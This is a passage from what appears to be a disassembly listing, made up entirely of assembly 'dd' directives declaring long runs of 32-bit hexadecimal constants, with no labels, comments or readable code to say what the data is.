85F6ED5Ah, 8B412751h, 6D12F7F1h, 41F93870h, 6C960098h dd 0A99F1437h, 0D7325F65h, 13F3FD02h, 20BEA5F1h, 72FEB7F8h dd 1BC519BDh, 0E57FC151h, 0F60CAF4Fh, 0ED58975Bh, 928F8D0Eh dd 501461C0h, 4889AA6Ah, 174F3FF5h, 0F68AE0ABh, 0DC574768h dd 89565701h, 806B5B78h, 0E8440D35h, 4ABA3702h, 0C040A112h dd 0B19FD15h, 5BE91F4Ch, 0CD2CD360h, 14E8D03Ah, 4F28892h dd 8D3B252h, 0B47CA8BAh, 1C0173ECh, 6F68C6FEh, 86235Ch dd 0EDC00BB5h, 0B5C58005h, 0A3779F04h, 7C81B28h, 169EB0B5h dd 4207643h, 8468EEE1h, 0AFC1AA6Bh, 61CA3B2Ch, 0B68E08C8h dd 5741214Bh, 87DF46E9h, 698BD40h, 0E5813850h, 0A81E4ED3h dd 4CD3CDCh, 4D0CAC19h, 39E841AFh, 0FC64BC76h, 0B802FAC5h dd 66E9875Dh, 0CD65F52Ch, 5B246885h, 0FBE177ACh, 0EA5502B1h dd 0E80DD26h, 6EBA1C44h, 4295CAB0h, 1E565727h, 82EE4058h dd 0F63A6A50h, 38D9A5D3h, 8090DCFCh, 7603D468h, 29592B36h dd 3C6C9ECDh, 2C092651h, 7A45FD31h, 0F1545089h, 44EBEFD9h dd 0BE05A524h, 7C562C22h, 1DB60116h, 0E8E6F680h, 489FCEA5h dd 3D6B6AE3h, 59920D3Bh, 64420BF4h, 681CA155h, 0C1684777h dd 96CB5C7h, 25E967FFh, 686B1DE9h, 42EC4E63h, 41286E06h dd 1A0B0C3Fh, 83577C14h, 9C74BCC4h, 41DE8DC3h, 1CA1081Ch dd 98202014h, 8C229D2Dh, 78CC3B93h, 1227C009h, 2508000Bh dd 951E36Bh, 0D930E94Dh, 436B3ADEh, 0CF39E1A5h, 83C5FD39h dd 0E9F6E0EDh, 7283054Bh, 70C4B250h, 9519030h, 37D80CE8h dd 658D4B00h, 74C11305h, 4E8669BCh, 99F9A06Bh, 0DAAA094Bh dd 0F39218FBh, 0E5DE8852h, 6249B02Ah, 5B591440h, 4609F056h dd 9EB9214Ah, 2EF0D58Bh, 0B626497Fh, 9E6A4C82h, 0F72E6009h dd 0AF7E0792h, 29685050h, 0A69C6C09h, 91F745D9h, 7539B1CDh dd 3DE83E67h, 71F3EC26h, 0BE9F5537h, 6560A889h, 740B1711h dd 0EC09AB4Ah, 88742269h, 2260820Ah, 1245C62Ah, 8044D6BDh dd 13B7C5B7h, 8CAC855Fh, 0FBB3164Bh, 5653F604h, 49E270B2h dd 686040F7h, 8C035BBFh, 72E38EEAh, 0BF1CD895h, 22F177Eh dd 204B004Ah, 833EB96Ah, 9C01EF3Ch, 0BB4B99F7h, 61570588h dd 138746B4h, 0BB5A5551h, 2FE31D00h, 1358906Eh, 0BEC47DE9h dd 98A51E67h, 38681EE0h, 0FF4A753Bh, 2A68BE7Ch, 6315621Fh dd 1A635C52h, 2EB4144Fh, 0B3F048C5h, 6BFEE380h, 94DF6709h dd 0D6845592h, 3B18E1BAh, 12A1BFB4h, 0B666C911h, 801C6E89h dd 54FB73ACh, 85EC9701h, 0F4E90C80h, 0DEA70E48h, 0A743130Ch dd 0C2E3A0CAh, 0D239121Dh, 0A7C0BF60h, 5EE95608h, 5FC982D1h dd 4BDCD175h, 9A56C832h, 0F201E902h, 54C0F6FEh, 705D709Fh dd 0ADB395B9h, 6B0FA2D1h, 128A78CCh, 0AB3D5E18h, 292FF1F2h dd 0E962B7AFh, 10D5D6E0h, 81FB8DDFh, 0EBB04058h, 24301984h dd 57B50C44h, 0AD334A1Fh, 0E90840E5h, 82B45E5Ah, 0E4339CFh dd 164F1A9Fh, 124753DFh, 0D53F8880h, 0D8555A24h, 0D471E9C2h dd 3C7F255Bh, 13F12070h, 0C0665E2Dh, 9F402689h, 7F497FD9h dd 3B93C659h, 7E6E91EEh, 0D6922BAAh, 4634FF5Ah, 22BD395h dd 5456C331h, 0EC5CF1D5h dd 0D39502AEh, 0F36849E5h, 204BCC68h, 5C56628Ch, 0BD62738h dd 0AB7EA044h, 0E9E1EE02h, 0B73FD0BDh, 5C842134h, 17B8DF9Dh dd 0FA5A53E9h, 0D0E713ECh, 29685257h, 70BA6317h, 0A7E28B01h dd 17E381Fh, 0A618EC68h, 5CD13EE5h, 0AFA51088h, 0BC4FA67Fh dd 0A7DC97A3h, 88F457F2h, 0C00674E9h, 6168E1F7h, 81B94365h dd 14338D44h, 250ADAEAh, 0D692DD52h, 0C92C84D8h, 0DE527516h dd 3B9D587Ch, 81BEEF9Ch, 0C1201960h, 106002E0h, 0AD05804Bh dd 1FF06601h, 6855E829h, 0F7BC0844h, 0B8C38624h, 0C11F0144h dd 858C1131h, 0FC2871Dh, 3AFC5A07h, 38379A65h, 99DE248h dd 570B77E4h, 17BE09DCh, 10F3613Dh, 4A5F1110h, 8BBBD8FAh dd 7F61084Fh, 5D00F53Bh, 6CB1CA01h, 95C33C2h, 0F3E8E175h dd 0E067496Fh, 0CB0238D3h, 6069C413h, 50CE327h, 77E9170Bh dd 848FB23Dh, 33AB3203h, 0F700E2FAh, 577A02B8h, 912508h dd 3549F917h, 63760F9Ch, 2390D795h, 0FB484E9h, 0F9A0CA3Ch dd 81E39D59h, 282ABEC5h, 3127294Dh, 26BACDCh, 0A06DA918h dd 0E56F5CAh, 47676B2h, 13041FEDh, 0BEE1FF58h, 662007CDh dd 6F3A0E8Fh, 47FF4B24h, 2C8E5280h, 5C3FDD1Ah, 1F186067h dd 0BF419583h, 1C751FCh, 59350387h, 61AB0B25h, 3B03BCh dd 9D1ADBE9h, 28FA8318h, 8103C090h, 7657FCC9h, 0D7E1B030h dd 465E2F31h, 0EE172DF8h, 0CF132D3Dh, 612CD803h, 0D6F1E077h dd 3614275Dh, 0C30B547Eh, 8879F151h, 0BA004E2Fh, 7B425B5Eh dd 0A5DA48F7h, 19C9639h, 85EA947Ah, 0E1054E73h, 88746ED3h dd 947289C8h, 0ED800738h, 53F53201h, 0DC3288FDh, 0CAB71F3Bh dd 5083C79Fh, 0F4C0EEB0h, 7746B181h, 596BDC2Ah, 6CFA535Bh dd 1A4A7061h, 0D7C4C7BCh, 66EF4084h, 0C173E01Eh, 713B760Ch dd 62507A43h, 140C6808h, 5F905A25h, 4881F47h, 0FA310D68h dd 481E56F2h, 272ECB30h, 0B8B1BD47h, 0C23BBE66h, 0FD07301h dd 0B566F9Fh, 9B404CE9h, 802847B3h, 0CB3B9DEBh, 0C9F30BD3h dd 0ED6982F6h, 651657A2h, 201CF795h, 789FE925h, 0B05D9DF5h dd 0BD932331h, 0CC871F29h, 0EF319449h, 916D2C2h, 0BCBD8475h dd 3A3267D1h, 1BE978E5h, 8A50136Eh, 12F85FFFh, 0F4EDA486h dd 7B25D9FDh, 0EF2A57B2h, 413A20AAh, 307879A8h, 0B28281B1h dd 69DDE92Ah, 0BC7B0543h, 8CA640A6h, 0D0DD3167h, 681A308Bh dd 0A82A5A4Eh, 25A5C43Bh, 40F539D8h, 29265F1Ah, 1215E8EBh dd 0AE4D3486h, 0FBD272BEh, 22D195FCh, 0AF2EFEFDh, 0EDEC392Ch dd 4E308B3Fh, 6B3BCDAEh, 0D61C691Ah, 8067B7Ah, 0F707E9D7h dd 7705096Ch, 0EB5E8D41h, 768D092Dh, 962F56B8h, 0E00166ABh dd 25B93E31h, 67899FFEh, 0CAFCA296h, 97E4D2B7h, 0BA22CF7Eh dd 12EA054Bh, 0E4FB01DCh, 2F5B301Dh, 197634ECh, 1051E77Ah dd 68074005h, 0A19C7665h, 79499262h, 9F24A03Fh, 0E9C17956h dd 0A72A69E5h, 24A7B19h, 0E05E4482h, 0E15C1757h, 0A108F86Bh dd 8F004481h, 774B987Bh, 527C9AB9h, 0E9130C6Ch, 535A4413h dd 0C95B8152h, 21160494h, 1EFBC4EBh, 491F8108h, 494C0107h dd 0E90C0129h, 0F4413FE6h, 5BDAF4C3h, 5C75C820h, 0C7A54584h dd 0E70EE282h, 3DD4B748h, 2DC07E58h, 4D1E54D9h, 0ECFE200Eh dd 44691A12h, 25173C01h, 0E12F0116h, 0A6293E0Eh, 0C08FE23Ah dd 77255088h, 0B8C61B9h, 0A45BD931h, 0CC72B844h, 0FD18D2A8h dd 0D1B65AFCh, 0BB1E8500h, 0EE814E67h, 272B6302h, 0FED6F76Fh dd 58768F40h, 1CD04B69h, 0D9D2C3A8h, 0E5075099h, 34345C86h dd 6EEDAAh, 16640D1Eh, 30E95045h, 5C2EC53Ch, 96BEC821h dd 7D35DC5h, 0F597B341h, 0E9F59CD3h, 0E26A09E1h, 682A5081h dd 170875D3h, 2F5E25FDh, 0CF8EFA2h, 0E6191467h, 62D04874h dd 3D74ABB8h, 7C1720B6h, 5C74303Bh, 0F312B951h, 7BAFB7Bh dd 91677D3h, 0A5E2C777h, 2722EE5Fh, 23D65E54h, 8DA96854h dd 5DBB1ECBh, 0C6B072FEh, 0CDBA5201h, 0F93AC3CCh, 73780E84h dd 4463C5ECh, 0F61033h, 8E308505h, 415EB711h, 0AA58D7DAh dd 4A6C3325h, 75D8DF6Fh, 1189C097h, 7C552529h, 8A0EE76h dd 0E1EC5E5Eh, 18194B7h, 29B6858h, 0A85AFD33h, 87341613h dd 0EF4564BEh, 0ECE5DBECh, 65E9E006h, 5B0F98EAh, 55EAF29h dd 79E0FACCh, 0B9BB53h, 0D0F674B0h, 2C05C0FEh, 638568E2h dd 0D2C24B22h, 59EB0B05h, 5C85585Ah, 3013E141h, 0F0EDF05Eh dd 61FDC328h, 0B2B46BD5h, 415A90A5h, 66CEE8D4h, 17B55107h dd 5960EE08h, 0E680D6F6h, 0CFF1E05Bh, 1F17D942h, 881DFDFDh dd 67E29FCFh, 49516854h, 0E6FA85C7h, 0CC98965Fh, 0BF84404Fh dd 8A527h, 0C10CFE8h, 83701721h, 349941C7h, 2A4CDA1Ah dd 6A0EADC5h, 17A90746h, 8B2EE9F0h, 0C6CE5AA5h, 9D169291h dd 101E5FAh, 0BEC1E9F8h, 727966AFh, 20478960h, 1F99F58h dd 8C205DA8h, 0A664B718h, 66B8CD27h, 0BA26CB1Fh, 0DC5A12A5h dd 5E5AF7A0h, 68B0D5B8h, 0FDC44471h, 121D205Fh, 2087CD53h dd 0AB4438F4h, 0DFE9DEAh, 29879D34h, 96B9F589h, 71BB3B51h dd 7F5E598Fh, 0E9A07EF9h, 31BAF672h, 63E3F204h, 0A9EA3D99h dd 412C5E8Dh, 28EE4B20h, 5AC2C0CFh, 5FDCC680h, 91480CDCh dd 5CA6780Bh, 0F5715196h, 9C886FFEh, 9B5612CFh, 7739EA60h dd 0C617E42Bh, 9492E109h, 1E02D79Fh, 2660E3D1h, 32730D2Fh dd 925D697h, 0B4A52445h, 0EBD20CF1h, 0F6065C6Ch, 0B2EE80DEh dd 2C151C06h, 4208676h, 0D3F1B88Dh, 5AF810B6h, 0E92E93FEh dd 0BD83EEEBh, 7A4E6503h, 0A2F6B59Eh, 24355188h, 0CCC90882h dd 0D0A2DC28h, 2353C987h, 69FAB5B4h, 0A2A2764Ah, 0D5485AD3h dd 0C60904F1h, 90DE57E9h, 27252B96h, 0ACD034E0h, 0F1E2A14h dd 2E5304D3h, 81EABAA2h, 3B6B7FBEh, 0FF035425h, 0E90EB14Bh dd 8C2ED125h, 7C103D55h, 45B03BEh, 1832D061h, 18777062h dd 9689E595h, 0E398DBF7h, 4D7B5100h, 0BCCD816Eh, 0AC7F4D2Bh dd 853B010Bh, 8E2080D4h, 672854BDh, 1E1CC2EEh, 6CB94CA1h dd 837CD438h, 8501C12Ch, 169D1808h, 555E925Bh, 0A433DC5Fh dd 852B13ECh, 89AB32F0h, 4142C054h, 0EBF7207Ah, 115A1E7Fh dd 0F22EE2F1h, 3F2D9631h, 0C8849D59h, 0C9FFDF4Ah, 0EDC43ACDh dd 573F3AA8h, 9DE14EFDh, 0BEE23E18h, 0F95F5E89h, 0C7E589D3h dd 65C17BDEh, 0F064FEE7h, 88394036h, 4234E27Dh, 82FA0E56h dd 0E67FCAABh, 84974ADAh, 0D5B2AFDBh, 314DD8D3h, 0A4BF7596h dd 77C90078h, 0C07DAAEAh, 0CBE8302Ah, 0E11A5A20h, 0B2D7B763h dd 7674ED83h, 0BDB58A5h, 9573F28h, 0BF000AF6h, 70AD4690h dd 1878BD31h, 0F42AE971h, 61F23982h, 7F5EFAB7h, 5D85BA83h dd 30874DABh, 3A8DD2C8h, 57C75E6h, 69776C1Fh, 0D8FB885Bh dd 97586E68h, 5BFAF69Bh, 0F725CE5Ch, 72258CE5h, 0CF92056h dd 2AA1B905h, 14AC1D78h, 0C95D571Fh, 165D5849h, 4173BDA4h dd 3C40BB01h, 0FC213B2Eh, 0A00D4FD7h, 9013E954h, 82F6FEE8h dd 1B66809h, 0B4EB96E9h, 0D8EFC264h, 0A91F4102h, 0F253408Ah dd 4093EDE6h, 971E53A3h, 1627E913h, 5F1F5242h, 2DB1C2D8h dd 0F2852B7Dh, 49C722A3h, 0FD92DD97h, 57CF18F7h, 5CB72460h dd 0D5FE2573h, 0B426823Bh, 0F4E3E977h, 98BE000Ch, 0BA68CD6Fh dd 97B6280Bh, 9C1556E1h, 13DF2524h, 0D5D7D26Eh, 0F45FB342h dd 0A5827246h, 10D93DE2h, 14486807h, 3647DF0Bh, 168D59AFh dd 3A8DF143h, 321573F3h dd 979639BDh, 0E90948E3h, 502F509Dh, 0F57AFBAh, 50DAF737h dd 5BD5D3BEh, 639260DCh, 687072FEh, 0BD087070h, 96E910F6h dd 4C516256h, 2B0B4F7Eh, 6A5000F1h, 0C8412330h, 62000412h dd 1573747h, 5E59B8CBh, 5A14EBC3h, 2BB5B33h, 18C868F8h dd 6F6E7Ch, 40527F71h, 5E800C1h, 2D7BBE35h, 540B0D49h dd 775F6D78h, 0B3AAEAB0h, 367327h, 0E9C30186h, 319F5A2Fh dd 40F6B3h, 1380E528h, 0E6690EDh, 1F05213h, 0F05B8FBBh dd 82EC4B49h, 3F24BF2Dh, 6F17BFD5h, 0BF607F69h, 8447B73Fh dd 650F4B28h, 8947D071h, 6D4C80F5h, 1EE5C166h, 57D5F702h dd 2094B123h, 0FE4AB3D4h, 4137BBD8h, 0ECAA20A7h, 6741D641h dd 1CC17D48h, 0E0F1AC7Fh, 0B5D5E6E9h, 854F5BF9h, 5E98CA9Fh dd 7B2F14FBh, 2A20871Ah, 0D2BEBE98h, 2F9AF3C0h, 5E53766Fh dd 125FE9EEh, 8EEE12E9h, 0E88D5048h, 32A71601h, 0D2F7D787h dd 136E6B61h, 0F88AAFB7h, 529544C5h, 33FC3187h, 379244E4h dd 0DB4EC77Ah, 0FD4B6BFEh, 0E740D4EAh, 0F42F3BC8h, 4CF35034h dd 8D10AF47h, 6680C94h, 0D4594509h, 60109FCFh, 0B7530102h dd 5BFD28D2h, 0FD3AE8CDh, 1BD16B7h, 49338Ch, 1FF66850h dd 0D58309Eh, 452FCB00h, 3B60057Bh, 2D7707A2h, 62FFC41Ah dd 414AC131h, 5E1A70D6h, 0B55460BBh, 32CCBD19h, 21B9BB80h dd 0C638A30h, 90990CDDh, 5F0897AFh, 130C3408h, 0BEA12514h dd 0B469CF45h, 0E9C1FC4Eh, 0C52BC9ADh, 24FDB82Ah, 0F6094801h dd 0B19E317Fh, 0BA4EC07Ch, 9F5DF778h, 3437CF31h, 0EE09B339h dd 0FF281EB0h, 0F67B5E96h, 0C807039Ch, 85C79D34h, 6858C200h dd 0F3195BD1h, 0C048009Fh, 0C48002E4h, 0CC8609FEh, 3D5C10E9h dd 0DC04830Bh, 3AE9D040h, 5EB9535Bh, 2FDD9B8Bh, 396843ADh dd 0ABAD16Ch, 623B292Bh, 7BB9C7B0h, 0C1407902h, 426BD816h dd 0FEFBF026h, 52B17477h, 2B21F0F5h, 0CAFB57Eh, 3411BF38h dd 0A69E5D95h, 9321E917h, 815CEFDDh, 0BBE340C8h, 8D7E7209h dd 0C9F5E06Eh, 987F8231h, 18C4F2D0h, 6C50DC38h, 7805DFF1h dd 7168E9FEh, 7B09335Eh, 0BEE67E23h, 5F7C8420h, 5B54E14Dh dd 97BFD684h, 0C6A93F2Eh, 5F95F9F8h, 63904816h, 6BE1CE5Ah dd 0D69FF36Fh, 0F42F18E2h, 3A6677E9h, 0F8D239FFh, 50D30519h dd 5BC6A6E4h, 0CB20ECE1h, 89ABFFBEh, 779B0C00h, 789F0BC6h dd 8C75150h, 1EDA7632h, 0E9ACC8FFh, 1A835D47h, 0EB4DEB5Bh dd 96FD37F3h, 4E268628h, 0BC6512E3h, 8AAF4A6Dh, 27C88BF6h dd 0C070B4BEh, 5EF607ECh, 8FFFDD4h, 3E188B5h, 0EAD059CAh dd 44BF2D8h, 0E9C1C3F1h, 0D5813E61h, 0BC7FE888h, 5153A073h dd 0BF3B60E9h, 0FEDCEE80h, 0C004C661h, 0B8EB07E6h, 5A31E999h dd 0A8704178h, 2F1E0A27h, 54D16A84h, 0EA054073h, 3E22A908h dd 48EA01DFh, 3B2A4D50h, 8A6A2DA1h, 89ED480Bh, 7C0B1C55h dd 1F54485Dh, 0F2F52C17h, 20EB4867h, 74B80E53h, 5402E71h dd 6EA219ADh, 96127CEAh, 4FE4228h, 0BA8DDA4Eh, 326C1961h dd 0B810333Fh, 807101A5h, 42659809h, 0B1C402EDh, 5E0BD35Fh dd 8B4F7E58h, 0E74B36Dh, 71BC8962h, 0FB2942F7h, 0AD8EDE09h dd 6A662575h, 775123A0h, 0DDA12757h, 24C4E4D4h, 9796B2EBh dd 0F31D72Dh, 80A4EF38h, 608E919h, 0FCC81CBDh, 15C9487h dd 0A95832Dh, 847E30C0h, 3C685782h, 62826C17h, 81745F43h dd 0BFF2E970h, 0BD52888h, 19DCE63Ah, 2EB4E153h, 895BF26Fh dd 58C76262h, 3BC2B561h, 44551AC2h, 26122B3h, 7795C34Eh dd 8F30A88Bh, 0FEE0314Eh, 2F3DCABBh, 4FCCE167h, 342AB441h dd 62BA8005h, 7F5FAF63h, 20E13F90h, 100D5E1Bh, 5D2F07B6h dd 0DD52BF7Eh, 0D115BAA0h, 60B7E072h, 4B71E968h, 6C8BFAE7h dd 38BBF24Ah, 5FEA0DFh, 264B7EF7h, 0F6EB0029h, 89F5EC9Fh dd 2771FA5Ch, 0A6A95B77h, 4F3110D5h, 0D39770FEh, 2DB0AD5Ch dd 69B7C90Ch, 0FCE90C2Dh, 0A8734E23h, 9E5A4F09h, 9A7FC04Ch dd 31E23F35h, 0AF2D2312h, 0A9F50A2Dh, 2A4A0DA7h, 14827C57h dd 0ECD28B51h, 7CE0655h, 9767C88h, 1016653Bh, 33B559E0h dd 9F3E59Dh, 60FAEB14h, 0D3271077h, 84D408h, 0F7523D4h dd 8B95DCE9h, 0B25A4611h, 6E820E3h, 0CC19BA3Dh, 0FB5EE4h dd 120AC124h, 0E91264FCh, 0FD221FBEh, 545E5D2Ch, 5D703EC2h dd 0C736CAA0h, 0E772D173h, 0D5EF48h, 0F4B3168Bh, 0C192A2E9h dd 0A445AB29h, 0F16F3141h, 0C20DEFBDh, 5516EA68h, 0BB0140F1h dd 0DAC47EE7h, 1647C4ABh, 3121E5F1h, 1CDCFE45h, 0D0E5126Fh dd 9A92F7F9h, 0C534BA04h, 1DE83294h, 8E70FAA5h, 0B7201DE9h dd 7950B568h, 28E8739Dh, 5A972E66h, 45E8C058h, 81030396h dd 0A2050EE1h, 3EF1B062h, 32100B0Dh, 2270E983h, 6DF7CD0Fh dd 7A0F0BCFh, 0A2EB019Ah, 10ADC4Eh, 6B8220D8h, 98575F40h dd 17F809F7h, 0BBF0763Ch, 71098173h, 7D6FF76Dh, 6814385Ah dd 814A3B2Eh, 4E286941h, 64A37683h, 0C002A2Dh, 6C437C6Dh dd 0B0E94941h, 93C9AE1h, 0FB442C35h, 0B81A1A03h, 70C2F735h dd 20B3A1EAh, 0F15F5067h, 0FCB2AC90h, 0E2345E4Bh, 50FD208Dh dd 417AEE87h, 77EF22F3h, 0FD6F1241h, 0BF8300C4h, 0D1312E25h dd 139FA85Ah, 0AA5760A1h, 1DB6217Eh, 6720B2B0h, 0B95D4FE8h dd 0D1FA9368h, 0BB11C5BAh, 0FFA52723h, 47405420h, 0E5951F2Dh dd 0F353A50Bh, 81F3924Eh, 0A7EC97h, 0CE2DF668h, 78525B75h dd 4D380556h, 5E058Ch, 0B573C6B9h, 0D8BF6B09h, 6F2C54Eh dd 19A60042h, 298BF42Ah, 0E916DEB0h, 10C965A0h, 8F3C85E1h dd 0DF31BD5Ah, 0CB5BD54Ah, 1217DA94h, 0E7FB61D6h, 90A100Bh dd 5522BE02h, 42DD75FDh, 364BFDDBh, 0DF680398h, 0A68C1C5Ah dd 20429FA4h, 708F79D5h, 0E4B26E9h, 0C0698CEBh, 0D8AAF54Ah dd 0A09F92EEh, 128AE69Dh, 1307638h, 5C1496EEh, 2FF329E3h dd 16C17B61h, 0E6F9FA14h, 5329A705h, 523E178h, 0B6970407h dd 0BC680764h, 401EA052h, 817C8B02h, 3F7BF158h, 40E34737h dd 0EA93250Dh, 0C5E8CD5h, 413F023Ah, 0E521E97Ah, 0D6E89F5Eh dd 65680B30h, 0DF469F14h, 4B3F534Ch, 78C3CBFAh, 0AB9050F2h dd 55ECE40h, 9468D829h, 74D4A307h, 284CB0FAh, 1A980449h dd 9D06FD9h, 2776E305h, 0EFDE2662h, 0B09D0720h, 2516B85Dh dd 94FA5FA9h, 2810B00Ch, 13C6DA1Ch, 0B80AB620h, 0BE9A040Ch dd 0D28441EFh, 8EB7D5AAh, 8040254Ah, 4B6855D9h, 8383A85Bh dd 7A489DC1h, 0CA3D0A28h, 42ACAF3Dh, 79565F4Bh, 92AD825h dd 688BC4BEh, 6D4DBBF0h, 0A6A95A6Ch, 7BA668F3h, 356E925h dd 0B0CEBF12h, 7C217AC8h, 122E4FFBh, 988BFF28h, 0B44DE9C2h dd 9769167Fh, 7BDC8020h, 120050Ch, 9C58254h, 0E298890Ah dd 6E14F75Dh, 540951D2h, 0CE71D53Fh, 0CFC424B4h, 0A40956BEh dd 590C5DC1h, 2EDBE6E9h, 975A98ACh, 7D73642h, 0F3DE6E82h dd 0AE640B31h, 0A23EEC2Bh, 31562614h, 609CC19Dh, 0BF50304h dd 16102316h, 0D46029AAh, 6DF06288h, 0A0295097h, 81D5F74Eh dd 790E8966h, 0DE1564EDh, 0EB12B4AAh, 0BDB077ACh, 0BB0B6449h dd 6254E947h, 4F1981D2h, 508D073Eh, 0D81657F8h, 0B71E5366h dd 2BB88E1h, 0F6C8FE5Bh, 0E09E82D0h, 0EE290539h, 3930B38Dh dd 0FFCC9762h, 8EDADF34h, 165F8EBEh, 4440B4E9h, 697D8BBDh dd 4F4D584Fh, 6B98022Fh, 27015CAAh, 64A350Ch, 0F02B3833h dd 3A165B62h, 4B85444h dd 0BAED8117h, 81BAF0C5h, 6C190353h, 0A8E9E449h, 2BE30D89h dd 7EF78184h, 0C3199756h, 0CDBEDB40h, 986ADF4Ch, 39770987h dd 545009ABh, 0FC90DDE6h, 0B03672B7h, 0D59760C4h, 0EA23DC3h dd 355EE4F4h, 30BCF2B5h, 0EED83497h, 0BE563E20h, 4B48734Ch dd 770C045Eh, 0DE5109F7h, 85B0548Fh, 0FB35F74Bh, 67C88981h dd 89628204h, 21EB91A0h, 11749514h, 0D51C5F27h, 50EBC516h dd 0E4968DBh, 157615C4h, 112D2A2h, 971806F9h, 0BD072AE2h dd 11B4328Ah, 99927A2h, 47F86D00h, 0CDF170Fh, 0B46EA801h dd 0F387D129h, 1B7539F9h, 18A43800h, 0CC04A8Ch, 43DD250Fh dd 2D15FE9h, 0FE885284h, 9F20D4F4h, 6EF1D20h, 46ECF68h dd 5C0B5327h, 0FD5F1A34h, 6D00D329h, 6FC2A1Fh, 751848B8h dd 0EF188341h, 0B280497h, 0BBFE21E6h, 6D90E417h, 3DC07BF3h dd 4FAC1B70h, 3270A7E6h, 1FA9F552h, 0EA4C7B2Dh, 25C7782Eh dd 0F050856Bh, 5FABE913h, 4B77978Ch, 129CCBBh, 4BF6CA4Ch dd 0BE3884BAh, 0E912119Ah, 0FBA1C451h, 2D7F45C7h, 0D13F4FE1h dd 5CC41Eh, 0E157D068h, 0D65CF97Bh, 967F9FE1h, 44000C7Fh dd 1497E5Ch, 24E957FBh, 0A5478F32h, 0CBB78582h, 0F9E1F603h dd 0F9ADA4EEh, 9E0820F4h, 0ABFA8A11h, 91E64E89h, 0D42D8B71h dd 84175965h, 0CCFEE3D6h, 0C869680Dh, 0B071D7ACh, 76DDE942h dd 0FA96256Eh, 44BF63FEh, 2B5B0A08h, 3DA5CEFh, 0CEE326Dh dd 0AD841800h, 10E9E470h, 5F6E97A0h, 56094398h, 0D817A65Dh dd 0AA54FDD2h, 2DDE9280h, 0C35F5F76h, 80FA566Fh, 763CF3F4h dd 0D9260490h, 75692C9Ch, 9BCA8AAFh, 9F6885DCh, 41806225h dd 7E89AC6Ah, 7E1284h, 2C4D76BFh, 28EBA16Fh, 68C0CC2Bh dd 0B329222Ah, 7F3D0320h, 0DDDFA05Fh, 0CBFDEB64h, 3CC31091h dd 56202768h, 37363CFh, 0F48336E6h, 0DEC1A4ECh, 9D5AC340h dd 0B9C61942h, 90B5F773h, 95AEE6A5h, 55692579h, 767DFD62h dd 0D7E65052h, 5040FEB6h, 4D2F22B8h, 3A104A4Eh, 0EB8000C0h dd 0F6C3FEBCh, 0A6EFF9D3h, 88511C36h, 40896F9h, 0A6218066h dd 0C4491764h, 688023E3h, 6F086BEBh, 16C14CBDh, 0B10BE9FAh dd 6DAE2E82h, 4C7360A8h, 4F148D39h, 532F2CEDh, 0BE672345h dd 272C2801h, 0FC8F1060h, 0EB075848h, 0AB1F6B38h, 73C90176h dd 30086E63h, 50236E0h, 0E9492DDFh, 77E76A21h, 0D6C34A98h dd 0D1270724h, 811E502Dh, 0E965908h, 10B3A602h, 7F7E4675h dd 0C43B18E3h, 0A4DE285Fh, 0DE19C12Dh, 0ECC64205h, 0DF40D2D0h dd 49471323h, 4FE2BB78h, 0F758C503h, 0E2DB45DDh, 0EE7B5BE6h dd 39B0340Eh, 5310D301h, 8CD5A08h, 0E0F482EAh, 2573E4F8h dd 275D187Fh, 52AB088Dh, 57A0457h, 0BF296D89h, 0C035E99h dd 51E2F2E9h, 0E5680104h, 7C435715h, 5023A0Fh, 0F4E92BB1h dd 0B2EF83D5h, 8ED81004h, 0C0705A27h, 0D76AD5BCh, 0AF06217h dd 0D7EF50C0h, 94B02550h, 0CFE0D058h, 0F8305909h, 0C9A50E5Bh dd 61CD1232h, 8764287Ch, 0CBDEB7BDh, 1E2E123Dh, 0D15AE9F2h dd 2E547DE6h, 910B5F74h, 0BCA2D788h, 644C5A3Dh, 0C3708B14h dd 0CCCB10BEh, 0E5EE4A32h, 0F1E3F7E1h, 0F15687Ah, 58AC180h dd 67EF0B57h, 0F04DA43Eh, 7CF533E4h, 3865F5DFh, 0B87A95EEh dd 8D7916D0h, 2517F735h, 0A04BE7FDh, 0C24A0CFFh, 68F0248Dh dd 0E9635BAEh, 8A22C4B9h, 45755909h, 91A408F0h, 105D0027h dd 4A89FD49h, 3BBBCDD6h, 52FF0A16h, 0DB01AA68h, 0F4D341F5h dd 0D5C1E2DEh, 68856CDBh, 46527C70h, 218437E8h, 0E165EED8h dd 9396F6AAh, 13EB7008h, 7074FA5Bh, 7B5866A6h, 6DFD3525h dd 0B257AF4Eh, 0FEE617Dh, 9B84A7A7h, 9EF4BAEDh, 0B26F4F55h dd 0C3E5007Ch, 0C1691041h, 0E90316EDh, 4C88590h, 13345F26h dd 60B600FAh, 0CE296240h, 64F6BBA0h, 6556032Ch, 0F0CB5F17h dd 354DEE02h, 7B620AD7h, 0F62D940h, 854B263Dh, 41F13A2Fh dd 93810CD5h, 0DF3D2C12h, 0BAC0963Fh, 7E28260Dh, 30258033h dd 0F2BE0C45h, 0D6E5A45Eh, 6809F83Ch, 521A59EFh, 49DCDA80h dd 5E98302Ch, 0E5A89E4Bh, 4653E5C5h, 8BDAC4BFh, 25670A05h dd 0B5820921h, 979BD032h, 7AA3B657h, 0F160905Ch, 109F043Dh dd 41590722h, 0CB26D931h, 0D3F73508h, 4EDEF8EAh, 0BF2BD699h dd 0E66B6639h, 84974C41h, 1918D44Fh, 505AB268h, 5B549BCh dd 53060BD1h, 0E310BAC6h, 5CBC5808h, 106B48C3h, 680A4C95h dd 9E68064Fh, 27276856h, 547B015Eh, 6135153Fh, 0F84212A6h dd 0CDC956ECh, 3254F2E1h, 5ACE3BADh, 0B7846627h, 617F10A1h dd 26F02132h, 15E25B6h, 0BBE95770h, 13230AFEh, 0B9F2C01Bh dd 425F6915h, 0D31108A0h, 4E48FC0Dh, 14A039EBh, 18C4FF9Ch dd 0FD5BECDAh, 54D6D849h, 2C574F5Dh, 0BF9C2DA5h, 0A73D542Bh dd 9BF8372h, 4835E2E8h, 0B2D91BEh, 426C20CAh, 1663E184h dd 0D805D0B8h, 0C160A579h, 0F840E02Bh, 0EC04714h, 0ADAAB8Ah dd 5FFD0989h, 404EE31h, 0C623FCADh, 97D854F6h, 0AE43D082h dd 20D53003h, 92BE752Ch, 27F06807h, 26C5D50Bh, 48137D2Ch dd 4062D428h, 62905447h, 0C54DDF66h, 0E308F423h, 0B2592095h dd 0A3C9BE92h, 13EBB26Bh, 37C9D2EFh, 67F01645h, 0C8070FBFh dd 0A2461A3Ah, 51B5654Bh, 2B923DA0h, 3E635BFh, 967F2F4Fh dd 0D73FA494h, 0AC881B65h, 53FB4FEAh, 38068F66h, 184460E1h dd 0FA5E0740h, 5C0A89Eh, 5A8613B0h, 